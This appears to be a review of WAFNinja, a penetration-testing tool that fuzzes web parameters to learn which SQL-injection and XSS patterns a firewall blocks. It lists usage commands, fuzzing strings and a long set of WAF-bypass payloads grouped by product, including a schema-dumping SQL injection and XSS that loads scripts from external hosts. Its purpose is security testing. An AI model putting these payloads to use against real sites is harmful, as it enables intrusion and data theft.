WAFNinja was presented by Khalil Bijjou at OWASP Stammtisch Frankfurt 2015 and PHDays 2016.
This tool is cli python script which allows to fuzz parameters in order to detect which SQL-injection or Cross-Site Scripting patterns are blocked by WAF and which are not. Besides that it has number of payloads that may bypass WAF.

Deployment

You have to install python with its dependencies: prettytable and progressbar
The following network scheme is used in testing

Tests

The tool has different working modes:

  • fuzz tries to find keywords and symbols that are not blocked by WAF
  • bypass sends payloads from database to target
    Also with insert-fuzz and insert-bypass you can edit fuzzing string or add payloads to bypass list.

Example usage

fuzz:
        python wafninja.py fuzz -u "http://www.target.com/index.php?id=FUZZ"
        -c "phpsessid=value" -t xss -o output.html

bypass:
        python wafninja.py bypass -u "http://www.target.com/index.php"
        -p "Name=PAYLOAD&Submit=Submit"
        -c "phpsessid=value" -t xss -o output.html

insert-fuzz:
        python wafninja.py insert-fuzz -i select -e select -t sql

positional arguments:
  {fuzz,bypass,insert-fuzz,insert-bypass,set-db}
                        Which function do you want to use?

    fuzz                check which symbols and keywords are allowed by the WAF.
    bypass              sends payloads from the database to the target.
    insert-fuzz         add a fuzzing string
    insert-bypass       add a payload to the bypass list
    set-db              use another database file. Useful to share the same database with others.

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit

Fuzz parameters

WAFNinja uses different functions and string patterns for parameter fuzzing. There is a list below related to attack types.

SQL Injection

Strings

123<234, 9928!=1239, abc', abc", or, and, '', 'abc', abc' --, =, >=, <=, ORDER/**/BY, ||, &&, #, /*, uNioN, uN/**/ioN, seLeCt, seL/**/eCt, union/**/select, uNion(sElect), union/**/all/**/select, uNion all(sElect), 0x633A5C626F6F742E696E69, %55nion(%53elect 1,2,3), uni%0bon+se%0blect, /*--*/union/*--*/select/*--*/, uniOn distiNct sElect, <!--

Functions

information_schema.tables, between, like, order, by, having, union, select, union select, union all select, insert, values, update, delete, waitfor(), waitfor, sleep(2), WAITFOR DELAY, benchmark(), information_schema, table_name, column_name, if, else, IF() select, case(), limit, char(), cast(), convert(), isnull(), substring(), concat(), hex(), unhex(), avg(), count(), max(), min(), sum(), JOIN, @@version, user, drop, load_file(), extractvalue(), REVERSE(noinu) REVERSE(tceles), union distinct select, information_schema.columns, user(), system_user(), information_schema.schemata, table_schema, offset, distinct, @@hostname, @@datadir, version(), exec()

Cross-Site Scripting

Strings

fuzz, <script, <script></script>, <script>, <, <>, >, (, ), (), 'test', <img src=x>test</img>, <img dynsrc></img>, <img lowsrc></img>, <bgsound src=>, <iframe src=""></iframe>, <BR SIZE="&{alert(1)}">, <STYLE></STYLE>, <LINK REL="stylesheet" HREF="">, "jav ascript:alert(1);", &#14; javascript:alert(1), <TABLE BACKGROUND="">, <TABLE><TD BACKGROUND="">, <DIV STYLE="background-image: url()">, &#106;&#97;&#118;&#97;, &#49;&#41;>, String.fromCharCode(88,83,83), http://

Functions

alert(1), console.log(1), prompt(1), FSCommand, onAbort, onActivate, onAfterPrint, onAfterUpdate, onBeforeActivate, onBeforeCopy, onBeforeCut, onBeforeDeactivate, onBeforeEditFocus, onBeforePaste, onBeforePrint, onBeforeUnload, onBeforeUpdate, onBegin, onBlur, onBounce, onCellChange, onChange, onClick, onContextMenu, onControlSelect, onCopy, onCut, onDataAvailable, onDataSetChanged, onDataSetComplete, onDblClick, onDeactivate, onDrag, onDragEnd, onDragLeave, onDragEnter, onDragOver, onDragDrop, onDragStart, onDrop, onEnded, onError, onErrorUpdate, onFilterChange, onFinish, onFocus, onFocusIn, onFocusOut, onHashChange, onHelp, onInput, onKeyDown, onKeyPress, onKeyUp, onLayoutComplete, onLoad, onLoseCapture, onMediaComplete, onMediaError, onMessage, onMouseDown, onMouseEnter, onMouseLeave, onMouseMove, onMouseOut, onMouseOver, onMouseUp, onMouseWheel, onMove, onMoveEnd, onMoveStart, onOffline, onOnline, onOutOfSync, onPaste, onPause, onPopState, onProgress, onPropertyChange, onReadyStateChange, onRedo, onRepeat, onReset, onResize, onResizeEnd, onResizeStart, onResume, onReverse, onRowsEnter, onRowExit, onRowDelete, onRowInserted, onScroll, onSeek, onSelect, onSelectionChange, onSelectStart, onStart, onStop, onStorage, onSyncRestored, onSubmit, onTimeError, onTrackChange, onUndo, onUnload, onURLFlip, onWheel, offline, onbeforeonload, onbeforeprint, oncanplay, oncanplaythrough, ondurationchange, onemptied, onformchange, oninvalid, onloadeddata, onloadedmetadata, onloadstart, onpagehide, onpageshow, onplay, onplaying, onratechange, onseeked, onseeking, onsuspend, onwaiting, onwheel

Payloads

The tool contains number of payloads that should bypass waf. Some of them are specific for particular products like ModSecurity, F5 BigIP, Barracuda etc.

SQL Injection

Generic
a'or 2=2--
/*!00000concat*/(0x63726561746f723a2064705f6d6d78,0x3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
ModSecurity
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username=ad1min)
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')

Cross-Site Scripting

Generic
<script>alert(1)</script>
<scRipt>alErt(1)</scrIpt>
<img src=x onerror=alert(1)>
<script type=vbscript>MsgBox(0)</script>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<BODY ONLOAD=alert("XSS")>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>
<IMG SRC="   javascript:alert("XSS");">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert("XSS")">
<IMG DYNSRC="javascript:alert("XSS")">
<INPUT TYPE="image" DYNSRC="javascript:alert("XSS");">
<BGSOUND SRC="javascript:alert("XSS");">
<br size="&{alert("XSS")}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert("XSS");">
<IMG SRC="vbscript:msgbox("XSS")">
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert("XSS");">
<IFRAME SRC=javascript:alert("XSS")></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert("XSS")></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert("XSS")">
<DIV STYLE="background-image: url(javascript:alert("XSS"))">
<DIV STYLE="behaviour: url("http://xss.ha.ckers.org/exploit.htc");">
<DIV STYLE="width: expression(alert("XSS"));">
<STYLE>@im\port"\ja\vasc\ript:alert("XSS")";</STYLE>
<IMG STYLE="xss: expre\ssion(alert("XSS"))">
<STYLE TYPE="text/javascript">alert("XSS");</STYLE>
<XML SRC="javascript:alert("XSS");">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert("XSS");}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert("XSS")"
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" "" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT "a=">"" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>
<A HREF=ht://www.google.com/>link</A>
<A HREF=http://google.com/>link</A>
<A HREF=http://www.google.com./>link</A>
<A HREF="javascript:document.location="http://www.google.com/"">link</A>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
<BASE HREF="javascript:alert("XSS");//">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=# onmouseover="alert("xxs")">
<IMG SRC= onmouseover="alert("xxs")">
<IMG onmouseover="alert("xxs")">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="javascript:alert("XSS");">
<IMG SRC="jav&#x09;ascript:alert("XSS");">
<IMG SRC="jav&#x0A;ascript:alert("XSS");">
<IMG SRC="jav&#x0D;ascript:alert("XSS");">
<IMG SRC=" &#14;  javascript:alert("XSS");">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert("XSS")"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert("XSS");//
</script><script>alert("XSS");</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Barracuda
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
DotDefender
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
F5 ASM
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
F5 BigIP
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
Imperva
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
ModSecurity
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>
<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
WebKnight
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
QuickDefense
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Resume

WAFNinja focuses on penetration testers that tries to figure out which attack patterns are blocked/not blocked and helps to form valid exploit to bypass WAF. In real world it will work only with firewalls based on regular expressions. E.g. if WAF doesn't block ", onMouseOver and alert(1), it doesn't means that attack " onMouseOver="alert(1)" won't be blocked either. Same thing is related to libinjection, when particular tokens like ', or and 1=1 are legit, its combination ' or 1=1 will be considered as attack. Also in my case payloads of bypass mode were not sent to target, so requests were always considered as legit (probably bug).
This tool could be used to get additional knowledge regarding WAF, but it hardly comes in handy during different firewalls comparison.

Report example

wafninja_report.html

References

Video-presentation

WAFNinja GitHub page
Slides from OWASP
Slides from PHDays